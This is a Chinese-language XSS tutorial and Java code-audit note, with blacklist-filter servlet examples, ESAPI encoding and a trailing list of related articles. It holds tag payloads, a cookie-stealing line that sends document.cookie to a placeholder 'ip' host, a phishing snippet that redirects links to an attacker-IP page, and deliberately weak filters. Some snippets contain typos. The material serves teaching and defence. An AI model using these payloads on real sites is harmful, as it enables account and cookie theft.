一、基础:跨站脚本(Xss)

一、原理:

恶意攻击者往web页面里插入恶意js代码,而在服务端没有对数据进行严格的过滤。当用户浏览页面时,js代码必须在该html页面中(hrml必须要存在这个而已艾玛),从而达到攻击用户的目的。(攻击者构造的的js代码会被当作正常的HTML、JS代码被解析,执行Js脚本实现攻击意图)

xss可能存在的位置:url,POST、GET的传递参数,HTTP头(Cookie)

二、危害

  1. 流量劫持

  2. 获取用户Cookie信息,盗取账号

  3. 篡改,删除页面信息(钓鱼)

  4. 配合CSRF攻击,实施进一步的攻击

  5. XSS2RCE-控制对方电脑

三、分类

存储型:持久性xss--一劳永逸-存入数据库、session、文件、js(局部)

常见位置:用户留言、评论、用户昵称、用户信息等

反射性:非持久xss--不会存在数据库或某些落地的文件,js

常见位置:用户登录、搜索框、订单

DOM型:特殊的跨站,用户可控数据通过js和DOM技术输出到HTML中,利用方式通常与反射xss类似

四、payload

  1. alert(123)

  2. confirm(123)

  3. prompt(123)

五、利用

  1. 盗取cookie

    1. window.location.herf='http://ip/getCookie.php?cookie=' + document.cookie

  2. 钓鱼获取密码

    1. document.getElementsByTagName("body")[0].onload=function chageLink(){document.getElementByTagName("a")[1].href="http://攻击者IP/rePasswd.php"}`

  3. 流量劫持

    1. 跳转页面法

    2. AJAX提交法

  4. 标签payload

    1. <script>alert(1)</script>

    2. <img src="xxx" onerror=alert(1)>

    3. <img src="javascript:alert(1)">

    4. <a href="javascript:alert(1)">

六、攻击

  • 构造闭合

    • 用户输入即可能存在XSS注入,当然前提条件为HTML文件必须要存在这个构造的XSS恶意代码。它有可能存在a标签里,也有可能存在input标签里,Less。

  • 构造攻击语句

    • 攻击语句必须多种多样,因为服务器可能对某些攻击语句进行过滤;或也有可能存在某些语句服务器解释错误等。

七、防御

  • 过滤

    • 发现关键字时返回错误

  • 编码

    • 发现关键字进行编码

  • 插入

    • 发现关键字插入改变关键字语义符号

  • 删除

    • 发现关键字时删除关键字

  • 实体化编码

    • 将核心的关键字和关键符号进行过滤

二、审计---跨站脚本(Xss)

1、反射型XSS漏洞

(1)、常见的获取前端数据的方式

场景一、使用Servlet技术:

public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");//获取从前端来的数据

场景二、使用Structs2框架

通过Action类绑定参数或model参数

通过Action属性接受参数

场景三:使用SpringMVC获取前端参数:

可以看javaweb

反射型XSS漏洞通过外部输入,然后浏览器触发,审计过程寻找带参数的输出方法,然后根据输出方法对输出内容回溯输入参数

数据是从HttpServletRequest请求对象中获取的,但未对输入和输出数据进行过滤,扰乱以及编码等方面工作,无法对漏洞进行防御

1、未进行任何过滤

public static void test1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
//request.getParameter通过Http协议过来的参数,容器的实现来取得通过get和post方式提交而来数据'try01'
System.out.println("try01="+try01);
}

正常请求:

index.jsp?responseTry01=123

攻击请求:

index.jsp?responseTry01=<script>alert(123)</script>

2、对特殊单词进行过滤(基于黑名单进行过滤)

public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null)
{
System.out.println("try02="+try02);
if(try02.contains("<script>"))
{try02 = "this pragram(02) is malice";}
else
{try02 += " try success"}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+(try02));
}
}

contains:在字符串找到一个字符序列

3、黑名单过滤并过滤大小写

public static void test3(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null)
{
System.out.println("try03="+try03);
if(try03.toLowerCase().contains("<script>"))
{
try03 = "this pragram(03) is malice";
}
else
{
// try03 += " try success";
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+(try03));
}
}

toLowerCase():将所有字符转换为小写

4、替换数据

public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}

通过数据对黑名单数据进行替换

5、对非法字符转义

public static void test4(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null)
{
System.out.println("try04="+try04);
try04 = ESAPI.encoder().encodeForHTML(try04);
//编码的主要意义:使字符串中是Html标签的内容失去被浏览器解析的意义(但是怎么显示怎么显示)
System.out.println("编码处理:"+try04);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry04="+URLEncoder.encode(try04 ,"UTF-8"));
}
}

5、将黑名单数据进行替换

public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}

java代码审计跨站脚本(XSS)--反射型的更多相关文章

  1. JAVA代码审计之xss

    java_sec_code xss 补充和回忆一下一些开发基础 @RestController @RequestMapping(value = "/xss") public cla ...

  2. 代码审计中的XSS反射型漏洞

    XSS反射型漏洞 一 XSS漏洞总共分三总 XSS反射型漏洞,XSS保存型漏洞,基于DOM的XSS漏洞 这次主要分享XSS反射型漏洞 基本原理:就是通过给别人发送带有恶意脚本代码参数的URL,当URL ...

  3. Java代码审计之不安全的Java代码

    Java代码审计之不安全的Java代码 ​ 在打靶场的同时,需要想一下如果你是开发人员你会怎样去防御这种漏洞,而作为攻击方你又怎么去绕过开发人员的防御. 环境搭建 https://github.com ...

  4. java代码审计的点

    java代码审计的点 组件的审计 首先看pom.xml查看第三方组件和第三方组件的版本 常用的第三方组件: 第三方组件 漏洞类型 组件漏洞版本 log4j2 远程代码执行 Apache log4j2 ...

  5. java代码审计文章集合

    0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境   配置IDEA编辑器开发java web,从0创建项目   IDEA动态调试   ...

  6. [代码审计]某租车系统JAVA代码审计[前台sql注入]

    0x00 前言 艰难徘徊这么久,终于迈出第一步,畏畏缩缩是阻碍大多数人前进的绊脚石,共勉. 系统是租车系统,这个系统是Adog师傅之前发在freebuf(http://www.freebuf.com/ ...

  7. Java代码审计-铁人下载系统

    初学 java 代码审计,跟着表哥们脚步,走一遍审计流程,就选了个没有使用 Java 框架的 java 系统,作为入门. 目的是为了熟悉代码审计流程,寻找漏洞的思路,入门记录. 准备工作 为了验证审计 ...

  8. 跨站脚本(XSS)

    1.1 XSS定义 XSS,即为(Cross Site Scripting),中文名为跨站脚本,是发生在目标用户的浏览器层面上的,当渲染DOM树的过程发生了不在预期内执行的JS代码时,就发生了XSS攻 ...

  9. 【代码审计】JAVA代码审计

    分享一些Java安全相关文章,其中大部分都涉及到代码的分析与审计. 大家总是在找Java的代码审计的文章,但好像很多人选择性失明. 其实Java没有和PHP一样的简单,所以你觉得你看到的文章不是入门级 ...

  10. java代码审计中的一些常见漏洞及其特征函数

    文章来源:https://xz.aliyun.com/t/1633 最近在先知上看到之前有篇关于java代码审计的文章总结的蛮好,记录以下特征函数,方便查阅,同时自己也会将在平时代码审计过程中积累的函 ...

随机推荐

  1. KingbaseES数据库导入数据invalid byte sequence for encoding

    一.适用版本: KingbaseES数据库所有版本. 二.问题现象: 使用备份的数据进行还原,还原过程中发生异常. 日志信息: sys_restore: connecting to database ...

  2. wordpress自建博客站,在页脚添加网站总访问次数

    wordpress自建博客站,在页脚添加网站总访问次数 笔者使用的主题是 GeneratePress 版本:3.1.3 打开footer.php编辑 <div style="text- ...

  3. #差分,前缀和#nssl 1469 U

    分析 考虑离线,因为异或和很难在线处理 然后可以用两个数组来差分斜与横的情况,然后将答案竖着传 时间复杂度\(O(n^2)\) 代码 #include <cstdio> #include ...

  4. #背包#洛谷 4026 [SHOI2008]循环的债务

    题目 分析 设\(dp[t][n][m]\)表示前\(t\)种钞票\(\text{Alice,Bob}\)分别拥有\(n,m\)元所需最小交换钞票数, 枚举\(\text{Alice,Bob}\)最后 ...

  5. 使用8086汇编驱动SHT11传感器

    前言:使用Proteus 7.8仿真软件实现8086接入SHT11温湿度传感器(实现读取温度数据部分功能),并学习如何在没有集成硬件控制下串行总线的驱动方式,汇编的精髓就是寄存器的操作.各种寻址方式. ...

  6. unknow or unsupported command install

    错误原因: 今天使用pip下载labelimg时,出现了"unknow or unsupported command install"的错误,这是由于电脑有多个pip文件路径所导致 ...

  7. 【中秋国庆不断更】XML在HarmonyOS中的生成,解析与转换(下)

    一.XML解析 对于以XML作为载体传递的数据,实际使用中需要对相关的节点进行解析,一般包括解析XML标签和标签值.解析XML属性和属性值.解析XML事件类型和元素深度三类场景. XML模块提供Xml ...

  8. HDC2021技术分论坛:ArkUI 3.0让多设备开发更简单!

    作者:wanglei,华为UI编程框架技术专家 HarmonyOS自诞生以来,就是为满足分布式多设备应用场景而设计的,大到智慧屏.车机.平板,小到手机.手表.在多设备场景下进行应用UI界面开发,面临新 ...

  9. Hi3861编译烧录更快捷

     原文链接:https://mp.weixin.qq.com/s/TApbA6VUYUVWrGGaDyodbA,点击链接查看更多技术内容: HUAWEI DevEco Device Tool是华为面向 ...

  10. jenkins 持续集成和交付——开篇(一)

    前言 因为以前就很想看下jenkins了,平时工作中也使用,主要是写脚本,但是jenkins 主要还是说运维部门来搞定的,因为公司安全部门认为程序员不应该去接触运维的东西,但是上次面试问了下,准备把这 ...